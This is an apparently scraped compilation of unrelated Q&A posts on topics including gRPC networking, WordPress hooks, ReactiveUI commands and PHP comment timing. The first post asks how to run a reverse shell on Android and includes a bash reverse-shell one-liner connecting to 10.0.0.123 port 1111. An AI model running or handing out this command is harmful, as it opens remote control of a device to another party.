Is there any way to run .sh (bash) file in android directly without NDK and Android Studio?

Is there any way to run .sh (bash) file in android directly when I am not concerned about seeing the result on screen rather action? Such as a "REVERSE SHELL" written in bash.

”’/usr/bin/bash -i >& /dev/tcp/10.0.0.123/1111 0>&1”’

python – How to run gRPC client on one machine and gRPC server on another machine?

I have implemented a simple function which calculates square root of a given number.
I ran server.py on Mac machine and client.py on windows machine. Both the machines are connected to same network.
When I run both client and Server on same machine it works. But when I run Client on another machine it fails with the following error:

Traceback (most recent call last):
  File "client.py", line 17, in <module>
    response = stub.SquareRoot(number)
  File "/Users/username/Library/Python/2.7/lib/python/site-packages/grpc/_channel.py", line 946, in __call__
    return _end_unary_response_blocking(state, call, False, None)
  File "/Users/username/Library/Python/2.7/lib/python/site-packages/grpc/_channel.py", line 849, in _end_unary_response_blocking
    raise _InactiveRpcError(state)
grpc._channel._InactiveRpcError: <_InactiveRpcError of RPC that terminated with:
        status = StatusCode.UNAVAILABLE
        details = "failed to connect to all addresses"
        debug_error_string = "{"created":"@1620574982.491455000","description":"Failed to pick subchannel","file":"src/core/ext/filters/client_channel/client_channel.cc","file_line":5420,"referenced_errors":({"created":"@1620574982.491453000","description":"failed to connect to all addresses","file":"src/core/ext/filters/client_channel/lb_policy/pick_first/pick_first.cc","file_line":398,"grpc_status":14})}"

clinet.py

channel = grpc.insecure_channel('192.168.0.54')
stub = calculator_pb2_grpc.CalculatorStub(channel)
number = calculator_pb2.Number(value=25)

server.py

server = grpc.server(futures.ThreadPoolExecutor(max_workers=10))

calculator_pb2_grpc.add_CalculatorServicer_to_server(
        CalculatorServicer(), server)

print('Starting server. Listening on port 50051.')
server.add_insecure_port('(::):50051')
server.start()

try:
    while True:
        time.sleep(86400)
except KeyboardInterrupt:
    server.stop(0)

plugin development – Conditional query tags do not work before the query is run. Before then, they always return false

Where can I find the WP initializing process documentation?

This should help:

So, here are the steps WordPress uses to decide what posts or pages to
display on a page, and display them:

  1. When a visitor first clicks on or types a URL for a page that is part of your blog, WordPress starts by running a few core files
    (wp-config.php, wp-settings.php, etc.) If you are interested in
    the specifics of the file loading order, start at index.php and
    follow the chain of files as each PHP file includes/requires
    additional PHP files (or read this excellent post at
    humanshell.net
    )
  2. WordPress loads and initializes any plugins you have activated (calls the plugin init actions).
  3. WordPress loads the “text domain” for internationalization, and the functions.php file from the currently active theme.
  4. WordPress runs the wp() function (in wp-includes/functions.php), which calls $wp->main() ($wp is an
    object of class WP, which is defined in wp-includes/class-wp.php).
    This tells WordPress to:

    1. Parse the URL into a query specification using WP->parse_request() — more on that
      below.
    2. Set all the is_ variables that are used by Conditional Tags
      using $wp_query->parse_query() ($wp_query is an object of class
      WP_Query, which is defined in wp-includes/query.php). Note that in
      spite of this function’s name, in this case WP_Query->parse_query
      doesn’t actually do any parsing for us, since that is done before-hand
      by WP->parse_request().
    3. Convert the query specification into a MySQL database query, and run the database query to get the list of posts, in function
      WP_Query->get_posts(). Save the posts in the $wp_query object to
      be used in the WordPress Loop.
    4. Handle 404 errors.
    5. Send the blog’s HTTP headers.
    6. Set up some variables for the WordPress Loop.

So generally, on the front-end (non wp-admin side), you can call the conditional tags like is_single() only on or after the parse_query hook and later hooks like pre_get_posts, wp, template_redirect, wp_head and wp_enqueue_scripts (yes, they are in that order).

Therefore if for example you used an early hook like plugins_loaded like so, then you’d get the error in question:

add_action( 'plugins_loaded', function () {
    error_log( is_single() );
} );

So I hope this answer helps you find the right hook.

windows – Can’t run VBS files in Command prompt

In a beginner coding course that wants us to use command prompt to execute various types of files we created in notepad. I have run JavaScript and Python files, but whenever I try to run a VBS file I created:

    c:entd261>cscript myscriptl01.vbs

Command Prompt responds with

    Input Error: Can not find script file "c:entd261myscriptl01.vbs".

All of my files are located in the same folder and when ran have no issue. I have VBSedit software that opens the file just fine, Cmd prompt is the only issue. OS: Windows 10 Home 2004 if that matters.

sql injection – Escaping out of a select query to run a statement that modifies data in the database


Your privacy


By clicking “Accept all cookies”, you agree Stack Exchange can store cookies on your device and disclose information in accordance with our Cookie Policy.




battery – What voltage does a 2015 MacBook Pro 13″ run on internally?

Looking at the System Information under Power I’ve noticed that my battery’s voltage when fully charged is showing as 12.4V. Am I correct in assuming then that the internal voltage used by my laptop is 12V (nominal)? If this is the case, and as long as the battery remains charged, can I run my laptop directly from an external 12VDC power supply?

UI Feedback for long running Async command in ReactiveUI/WPF, initial run blocks UI

I’m pretty new to ReactiveUI. I’m creating an UI when user click a button, it will execute a long running asynchronous command. I want to provide some feedback on the GUI when the process starts and finishes.

This question mentioned Subject, so this is what I came up with:

ViewModel:

public class MainWindowVM : ReactiveObject
{
    public enum ProcessStatus
    {
        Running,
        Completed,
        Error
    }

    private readonly ReplaySubject<ProcessStatus> _exportCSVCommandReplayStatus;
    public readonly ReactiveCommand<Unit, Unit> ExportDatabaseToCSV;

    private readonly ObservableAsPropertyHelper<string> _csvExportMessage;
    public string CSVExportMessage => _csvExportMessage.Value;

    private readonly ObservableAsPropertyHelper<ProcessStatus> _exportDatabaseToCSVStatus;
    public ProcessStatus ExportDatabaseToCSVStatus => _exportDatabaseToCSVStatus.Value;

    public MainWindowVM()
    {
        _exportCSVCommandReplayStatus = new ReplaySubject<ProcessStatus>(1);

        _exportDatabaseToCSVStatus = _exportCSVCommandReplayStatus
            .ObserveOn(RxApp.MainThreadScheduler)
            .ToProperty(this, nameof(ExportDatabaseToCSVStatus), ProcessStatus.Completed);

        ExportDatabaseToCSV = ReactiveCommand.CreateFromTask(ExportDatabaseToCSVAsync, canExecute:
            this.WhenAnyValue(x => x.ExportDatabaseToCSVStatus, status => status != ProcessStatus.Running));

        // error handlers
        ExportDatabaseToCSV.ThrownExceptions.Subscribe(ex => {
            _exportCSVCommandReplayStatus.OnNext(ProcessStatus.Error);
            //ErrorHandler(ex);
        });

        _exportCSVCommandReplayStatus
            .Select(status => status switch
            {
                ProcessStatus.Running => "CSV exporting...",
                ProcessStatus.Error => "CSV export error! Check log for more details",
                ProcessStatus.Completed => "CSV export completed.",
                _ => ""
            })
            .ObserveOn(RxApp.MainThreadScheduler)
            .ToProperty(this, x => x.CSVExportMessage, out _csvExportMessage);
    }

    private async Task ExportDatabaseToCSVAsync()
    {
        _exportCSVCommandReplayStatus.OnNext(ProcessStatus.Running);
        
        await Util.ExportDBToCSV();

        _exportCSVCommandReplayStatus.OnNext(ProcessStatus.Completed);
    }
}

And then make all the bindings accordingly in the View. Simple demonstration: a button, a progress bar, and a label

...
    this.BindCommand(ViewModel,
            vm => vm.ExportDatabaseToCSV,
            v => v.BtnExportDatabaseCSV)
        .DisposeWith(d);

     this.OneWayBind(ViewModel,
            vm => vm.ExportDatabaseToCSVStatus,
            v => v.PrgBarCSVExporting.Visibility,
            status => status == ProcessStatus.Running
                ? Visibility.Visible
                : Visibility.Collapsed)
        .DisposeWith(d);

    this.OneWayBind(ViewModel,
            vm => vm.CSVExportMessage,
            v => v.LblCSVExportingStatusMessage.Content)
        .DisposeWith(d);
...

The problem I ran into was: when the button was clicked for the first time, the UI was blocked, and completed message displayed suddenly after a while.

All the subsequence clicks work as expected (i.e. button is disabled, progress bar showing, message update…)

Am I doing it wrongly? What is the recommended way to deal with this scenario in ReactiveUI?

I need to run a coin toss simulation 100 times

I need to run a coin toss simulation where I toss a coin 100 times, then run this experiment 100 times while plotting my number of Heads and Tails for each time the experiment is ran. Is there anyone that can help me design a code to conduct this experiment and present a graph of the results?

php – Run if comment date more (+ 1hour) current time

Example:

Server date and time 04.05.2021 9:00

If comment date and time 04.05.2021 9:58 – NOT run

If comment date and time 04.05.2021 10:02 – RUN

add_action('transition_comment_status', 'comment_callback', 10, 3);
function comment_callback($new_status, $old_status, $comment) {
if($old_status != $new_status) {
if($new_status == 'approved') {
    $now = current_time( 'mysql' ); 
        
        $datacomm = strtotime( get_comment_date( 'Y-m-d h:i:s', $comment ));
        $later = strtotime( date( 'Y-m-d H:i:s', strtotime( $now ) + 3600 )); //3600 seconds = 1 hour
        
        
        if( $datacomm > $later ) {
        
        // RUN this
        
        } }}}

My code not work 🙁

Sorry for my English

Run Charts off of Webform Submissions table?

I’m getting ready to hire a developer, and have an architecture question.

I’m setting up a Drupal 8 site (D9 soon) with a lot of charts. The charting software requires data in JSON format. The data types are basic — just Booleans, dates, and integers. There are no fields with multiple values.

I plan to use Webform to collect data from users, then run the charts off the Webform Submissions table. I’d like to use SQL to query the table, then use some PHP to convert to JSON.

I know Webform can export to JSON format, but think it would be easier to just query the Webform Submissions table using SQL.

I could run the charts through the Drupal DB API. But since the data just gets saved once and not updated after that, I don’t think I need the Drupal DB API, which would allow the data to be updated.

With Views, I think I’d need custom programming for granular control. SQL seems like it has tighter control of queries.

I realize I could have problems with forward compatibility if the structure of the Webform Submissions table is changed.

My questions:

— Is my analysis correct? Does the above approach seem reasonable?

— Any reasons to not run off of the Webform Submissions table? Scaling issues? Security problems?

— Advantages and disadvantages of using SQL instead of the Drupal DB API?

— Is there doc. or other discussion I should read? Alternate approaches to consider?